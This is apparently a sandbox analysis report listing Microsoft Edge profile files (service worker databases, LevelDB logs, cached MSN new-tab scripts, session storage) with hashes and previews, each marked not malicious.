C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2403
Entropy (8bit):	5.821202628899149
Encrypted:	false
SSDEEP:	24:F2xc5Nm7cncmoCCRORprg2hEOfhHB3ldCRORprg2hymxgoWECRORprg2hExhHB3o:F2emkfp6Ofx7pYlorp6xxAOpHxW
MD5:	949A756AF055AFF4DFC23F6D527DD242
SHA1:	F4A2EBF515832A5505D1B32F49CAE8344836C961
SHA-256:	815387F9A13FE64627762F9579C9A43BD77E062897AB8F063D3D2BF68F045AA5
SHA-512:	92BFFAEAE435BD08D7875DA738902A0C8C589DCF439C396ACC4D9E57CC7FF8C9E261C461B928142DCA47468EC7D1F9E697613A6B7F8F5C52F6E6F8207C2078F9
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2...1.................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=720&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true .(.0.8........@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h..h.!p.x................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=720&enableE

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	305
Entropy (8bit):	5.139681707981347
Encrypted:	false
SSDEEP:	6:iORP7LUXhq1cNwi23oH+TcwtE/a252KLlzP7LoVq2PcNwi23oH+TcwtE/a2ZIFUv:7RP7LUXWZYeb8xL9P7LKvLZYeb8J2FUv
MD5:	AF1B1619C950E79E725D338C56D09CEA
SHA1:	B8A97BE2F74C8C29D09D5EB29F7A05711BF76F8E
SHA-256:	8DF071CE16353290C4C3CAD82F9A5E1E30CC316479CB072BA87461EF1F6709DB
SHA-512:	29567544145E63B10C18A48D2BAAA52821BD1B64272D6A00AF378232A4ED235A3CAB424E390A0A1A0C64C42F537046137AC6CF8532765C38FE31D6AC7C9B0ED9
Malicious:	false
Preview:	2025/04/07-12:10:12.150 1b90 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2025/04/07-12:10:12.169 1b90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	117144
Entropy (8bit):	5.5819257808482305
Encrypted:	false
SSDEEP:	1536:Pd906exPXfOk113Lre0lL/NxkmymgGCjDzNalevxUYj9Sj6YW8KoqI:l9LexPXfOk1133e0lL/kmymgGY/xU090
MD5:	481DB1431EC996785C22E91D5CF8A9B2
SHA1:	495CB7BDB608AEE6F147B77E8F79037A9E1E457A
SHA-256:	9EB455B910FE70D41263550CEC719F35D9A5EA69BD470A277F1BA13B87DFB193
SHA-512:	839C80A940238CDE143261DC4F1EB9B41CC19D68ED32652B135F8A7939F251ABC1C71850D7C6A1661DB61625EB59A3D51211F828E33DAD1C39DECDDDD1F05813
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{var e={906:()=>{self.performance&&performance.mark("InitStartTime")},894:()=>{"use strict";try{self["workbox:cacheable-response:6.6.0"]&&_()}catch(e){}},81:()=>{"use strict";try{self["workbox:core:6.6.0"]&&_()}catch(e){}},485:()=>{"use strict";try{self["workbox:expiration:6.6.0"]&&_()}catch(e){}},484:()=>{"use strict";try{self["workbox:navigation-preload:6.6.0"]&&_()}catch(e){}},248:()=>{"use strict";try{self["workbox:precaching:6.6.0"]&&_()}catch(e){}},492:()=>{"use strict";try{self["workbox:routing:6.6.0"]&&_()}catch(e){}},154:()=>{"use strict";try{self["workbox:strategies:6.6.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=fu

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	199441
Entropy (8bit):	6.386898974849832
Encrypted:	false
SSDEEP:	3072:JL3BiA9XYFiwBs5SqJL/VngC9q2kMQGFgsyiOOq3m69:LJaiwaSgL/VgWqgQGOpNOymE
MD5:	421B3327511AFCCB83D18831281F7A8E
SHA1:	0B611DA6FDDB8C4CFA6CA9D649C864F81682D90B
SHA-256:	B626DF378F539243AEF4C0B338134766AB574167AB3FD635BFEFF293CA597715
SHA-512:	324D43C270F46308CDB1A7F926D3AB399CB69126681230D0ACFA6B22167898B4B2B9097C4F34633EA1417F28F1FD6D945BB871312C080DF38F8C98634A0FC6BE
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;.....x..........,T.8..`,.....L`.....,T...`......L`......Rc.Z.$....exports...Rc..Y.....module....Rc.......define....Rbr[......amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H........Q...J...{...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=720&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true.a........Db............D`........A.`............,T.,.`......L`.....,T..`Z....HL` ....DSb.....................q...1.c................I`....Da.....o...,T.`.`z.....L`..........a............a.........Dr8..............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:5DcFQR0Xl/lQ/lxEAtlly1l:4bAql
MD5:	BD4DC6AAC7541043808D5C595750BBF0
SHA1:	7935503D7CF08A810179AD4BC6704B2F0D07E6DF
SHA-256:	080E21E0D6B120306ACFE5A56D0F6AB70A87C68C9619D9D6FC8EC71AA27CFAE9
SHA-512:	31437EAE9AF94693ADA28427FFD32D0927FCF490EE11C24D1DD6A3664D94DD9E55869D5BF1A571BF5B197CA9A23B36F7AFE27875D9A5C3CF3C195D76A0E37FAA
Malicious:	false
Preview:	@...L...oy retne.........................X....,.................;'../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:5DcFQR0Xl/lQ/lxEAtlly1l:4bAql
MD5:	BD4DC6AAC7541043808D5C595750BBF0
SHA1:	7935503D7CF08A810179AD4BC6704B2F0D07E6DF
SHA-256:	080E21E0D6B120306ACFE5A56D0F6AB70A87C68C9619D9D6FC8EC71AA27CFAE9
SHA-512:	31437EAE9AF94693ADA28427FFD32D0927FCF490EE11C24D1DD6A3664D94DD9E55869D5BF1A571BF5B197CA9A23B36F7AFE27875D9A5C3CF3C195D76A0E37FAA
Malicious:	false
Preview:	@...L...oy retne.........................X....,.................;'../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF2a0da.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:5DcFQR0Xl/lQ/lxEAtlly1l:4bAql
MD5:	BD4DC6AAC7541043808D5C595750BBF0
SHA1:	7935503D7CF08A810179AD4BC6704B2F0D07E6DF
SHA-256:	080E21E0D6B120306ACFE5A56D0F6AB70A87C68C9619D9D6FC8EC71AA27CFAE9
SHA-512:	31437EAE9AF94693ADA28427FFD32D0927FCF490EE11C24D1DD6A3664D94DD9E55869D5BF1A571BF5B197CA9A23B36F7AFE27875D9A5C3CF3C195D76A0E37FAA
Malicious:	false
Preview:	@...L...oy retne.........................X....,.................;'../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	6435
Entropy (8bit):	3.4110758463013333
Encrypted:	false
SSDEEP:	96:D3RXVNMTpmiozNXT+5a+VilFioknH2AEAMAlABieU0/g0O1O4XbLT5E23:Nl6T0ioZXT+5aKiHiDfv0/g0aO+bLN7
MD5:	F2EC2D562EBB977462F1480B5EA53E90
SHA1:	CB2CB6C76593F0580284F3468C6CA1F882DD3600
SHA-256:	06ECC109B0FAAB6A6E95771242380464309FD0EBFE174EDBC22CF5046F9EA825
SHA-512:	04C839B92527996A5207D728397FB49665A21B33DE2717E9EE1D6853053CC29C3E265E4B87915B7BE9A8E2A5AFF6B56228576E533B1983E5EED782A5056AF79A
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f..................mb................next-map-id.1.Cnamespace-d74c65a6_9acf_469d_ae19_641579e25d37-https://ntp.msn.com/.0/...................map-0-shd_sweeper./{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.d.q.-.w.p.o.-.c.,.1.s.-.c.h.-.d.q.z.,.1.s.-.w.p.o.-.l.o.c.k.-.d.q.z.-.c.2.,.p.r.g.-.1.s.w.-.s.a.-.a.a.m.g.l.b.t.2.,.p.r.g.-.1.s.w.-.s.a.-.e.n.r.e.l.1.5.3.t.6.,.p.r.g.-.1.s.w.-.r.e.t.r.y.p.r.g.1.,.p.r.g.-.1.s.w.-.p.r.g.1.r.e.t.r.y.,.1.s.-.w.p.o.-.p.r.1.-.s.d.r.c.2.5.0.2.c.,.p.r.g.-.a.d.s.p.e.e.k.,.p.r.g.-.1.s.w.-.p.r.o.f.d.b.k.,.p.r.g.-.1.s.w.-.n.t.f.-.c.a.p.c.o.o.l.c.,.p.r.g.-.p.r.2.-.m.a.r.k.e.t.s.e.l.-.t.,.1.s.-.p.2.-.i.g.n.d.a.s.h.c.m.,.p.r.g.-.p.r.2.-.m.a.r.k.e.t.s.e.l.,.p.r.g.-.a.d.-.f.i.-.c.,.1.s.-.f.c.r.y.p.t.,.p.r.g.-.1.s.w.-.s.a.-.e.p.f.b.v.c.,.p.r.g.-.w.p.o.-.p.n.p.c.,.1.s.-.n.t.f.1.-.e.v.l.c.f.c.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.101653596150956
Encrypted:	false
SSDEEP:	6:iORPxGSN+q2PcNwi23oH+TcwtrQMxIFUtDPx2bZZmw9PxYVkwOcNwi23oH+Tcwtf:7RPxGi+vLZYebCFUtDPxCZ/9PxYV54Zn
MD5:	DE7D64F9228D0DB17066D115C59F89E5
SHA1:	22A989BF3674F32338F973DC2E4D3B7F9E5DACBA
SHA-256:	0B3F6CAB9D4CE9BAC6FA4796BECE809815C10A77515DBA1BAE6284A010815C94
SHA-512:	9F566A5ADC9DF9415F087B02A7BC6F7396B76B1C6DF16DC2AF4D66B0E017E4FFD187F3B1C336E5B8FEA64E96D666416DDDE5696D84A721765296952A26B09942
Malicious:	false
Preview:	2025/04/07-12:10:02.700 1d4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2025/04/07-12:10:02.745 1d4c Recovering log #3.2025/04/07-12:10:02.754 1d4c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.101653596150956
Encrypted:	false
SSDEEP:	6:iORPxGSN+q2PcNwi23oH+TcwtrQMxIFUtDPx2bZZmw9PxYVkwOcNwi23oH+Tcwtf:7RPxGi+vLZYebCFUtDPxCZ/9PxYV54Zn
MD5:	DE7D64F9228D0DB17066D115C59F89E5
SHA1:	22A989BF3674F32338F973DC2E4D3B7F9E5DACBA
SHA-256:	0B3F6CAB9D4CE9BAC6FA4796BECE809815C10A77515DBA1BAE6284A010815C94
SHA-512:	9F566A5ADC9DF9415F087B02A7BC6F7396B76B1C6DF16DC2AF4D66B0E017E4FFD187F3B1C336E5B8FEA64E96D666416DDDE5696D84A721765296952A26B09942
Malicious:	false
Preview:	2025/04/07-12:10:02.700 1d4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2025/04/07-12:10:02.745 1d4c Recovering log #3.2025/04/07-12:10:02.754 1d4c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13388515803731637

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.7745862264184695
Encrypted:	false
SSDEEP:	24:32Y3Xy/ovN06bmGKJI5Zho//ipsAF4unxctLp3X2amEtG1Chq/z+flMVwiZQKkOm:32Y3Xy/ovN06bmpJiZhoizFKLp2FEkCx
MD5:	3D964C6EC806F6EF8F0030C0FC98738C
SHA1:	4E784A61E85E63FA0E3D7A432177B63B3821604D
SHA-256:	61FE639524ADB7C886264FFB0F3668F81125BCFE8475DC991B0979FC4CA796F3
SHA-512:	B435FDF0EEDBE76766BFC88D11E9A3E34EB7E3C3A993812B42DF694DC6A17E1279AE5F8090FE21A42C7875ECF12A34B92DAE47F53727E417D29C372AB1E929AB
Malicious:	false
Preview:	SNSS........o.D............o.D......".o.D............o.D........o.D........o.D........o.D....!...o.D................................o.D.o.D1..,....o.D$...d74c65a6_9acf_469d_ae19_641579e25d37....o.D........o.D.....lc.........o.D....o.D........................o.D....................5..0....o.D&...{DEB4C218-97CF-4F02-8567-F37199C11CBA}......o.D...........o.D........................o.D............o.D........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x..........x22.....x22.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.1590005145394695
Encrypted:	false
SSDEEP:	6:iORPCBxOq2PcNwi23oH+Tcwt7Uh2ghZIFUtDPCVZmw9Pe6PkwOcNwi23oH+Tcwts:7RPEsvLZYebIhHh2FUtDPm/9PfP54ZYz
MD5:	2EAFA7C3E9D8A543220E1B5A29A2A3A5
SHA1:	AECE5EB0FD4052111A610DA0896743C43C9529F7
SHA-256:	866C46A2EA27C5B6B650968BE8880AC945F24F5823AC8AA14C8437E982F16C97
SHA-512:	F8A8109B6AC15962084E5400D681FD526AA3557CD6D6C85ED635FFE6B524E79D28C6DF89736138E9D05FA24E9861B50EF96BE908F36D7AE0E8890394DDC1AEB4
Malicious:	false
Preview:	2025/04/07-12:10:01.387 1574 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2025/04/07-12:10:01.389 1574 Recovering log #3.2025/04/07-12:10:01.414 1574 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.1590005145394695
Encrypted:	false
SSDEEP:	6:iORPCBxOq2PcNwi23oH+Tcwt7Uh2ghZIFUtDPCVZmw9Pe6PkwOcNwi23oH+Tcwts:7RPEsvLZYebIhHh2FUtDPm/9PfP54ZYz
MD5:	2EAFA7C3E9D8A543220E1B5A29A2A3A5
SHA1:	AECE5EB0FD4052111A610DA0896743C43C9529F7
SHA-256:	866C46A2EA27C5B6B650968BE8880AC945F24F5823AC8AA14C8437E982F16C97
SHA-512:	F8A8109B6AC15962084E5400D681FD526AA3557CD6D6C85ED635FFE6B524E79D28C6DF89736138E9D05FA24E9861B50EF96BE908F36D7AE0E8890394DDC1AEB4
Malicious:	false
Preview:	2025/04/07-12:10:01.387 1574 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2025/04/07-12:10:01.389 1574 Recovering log #3.2025/04/07-12:10:01.414 1574 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	270336
Entropy (8bit):	0.0018164538716206493
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zEZl4//:/M/xT02zvX
MD5:	1C154EE0B176511DADB129E3C55E4E1E
SHA1:	4457E5FE3633CD479BC900C6220C6D7D9656445D
SHA-256:	3418B440C0ABF3D036A72BF96EE3C622F4A77CCAF3C8B8DCF13410148DDB2290
SHA-512:	2CD180727A4B29B5241A3E5565D96CA3FBC49AD68AE19CCE15D4BF139F7307AE5A78E264F2FF3388EA080F19C79266733384E5CE7DE383CB07A7963A8AAA12E4
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.197386611821414
Encrypted:	false
SSDEEP:	12:7RPK+vLZYebvqBQFUtDP1AZ/9PxbNV54ZYebvqBvJ:7NrlYebvZgj1AfxZoYebvk
MD5:	1E4B976EBECA9F5D1C1EA63E065F06FF
SHA1:	FF8AE799FA109AF308EC33D9288843EDD491EF03
SHA-256:	0E504E8B301B4FEC3F20E95716281843B234C7612D9780FD37414DD7F085C8A6
SHA-512:	2B1BC9800D1856F1C7C6F4837F5D31D4C6985A7AD807B82983AC3F4D9E59DFC14C600D89EFCDE1D9A90FC24F7F93FE9B41CBCC935F7DFBD96FC249E1B294DA07
Malicious:	false
Preview:	2025/04/07-12:10:03.131 1d4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2025/04/07-12:10:03.135 1d4c Recovering log #3.2025/04/07-12:10:03.147 1d4c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.197386611821414
Encrypted:	false
SSDEEP:	12:7RPK+vLZYebvqBQFUtDP1AZ/9PxbNV54ZYebvqBvJ:7NrlYebvZgj1AfxZoYebvk
MD5:	1E4B976EBECA9F5D1C1EA63E065F06FF
SHA1:	FF8AE799FA109AF308EC33D9288843EDD491EF03
SHA-256:	0E504E8B301B4FEC3F20E95716281843B234C7612D9780FD37414DD7F085C8A6
SHA-512:	2B1BC9800D1856F1C7C6F4837F5D31D4C6985A7AD807B82983AC3F4D9E59DFC14C600D89EFCDE1D9A90FC24F7F93FE9B41CBCC935F7DFBD96FC249E1B294DA07
Malicious:	false
Preview:	2025/04/07-12:10:03.131 1d4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2025/04/07-12:10:03.135 1d4c Recovering log #3.2025/04/07-12:10:03.147 1d4c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\211310a5-7b2d-4e16-9d5b-1115fe58b065.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\2ceed65f-7f97-40c5-b2e4-ed7df80e3869.tmp

Download File

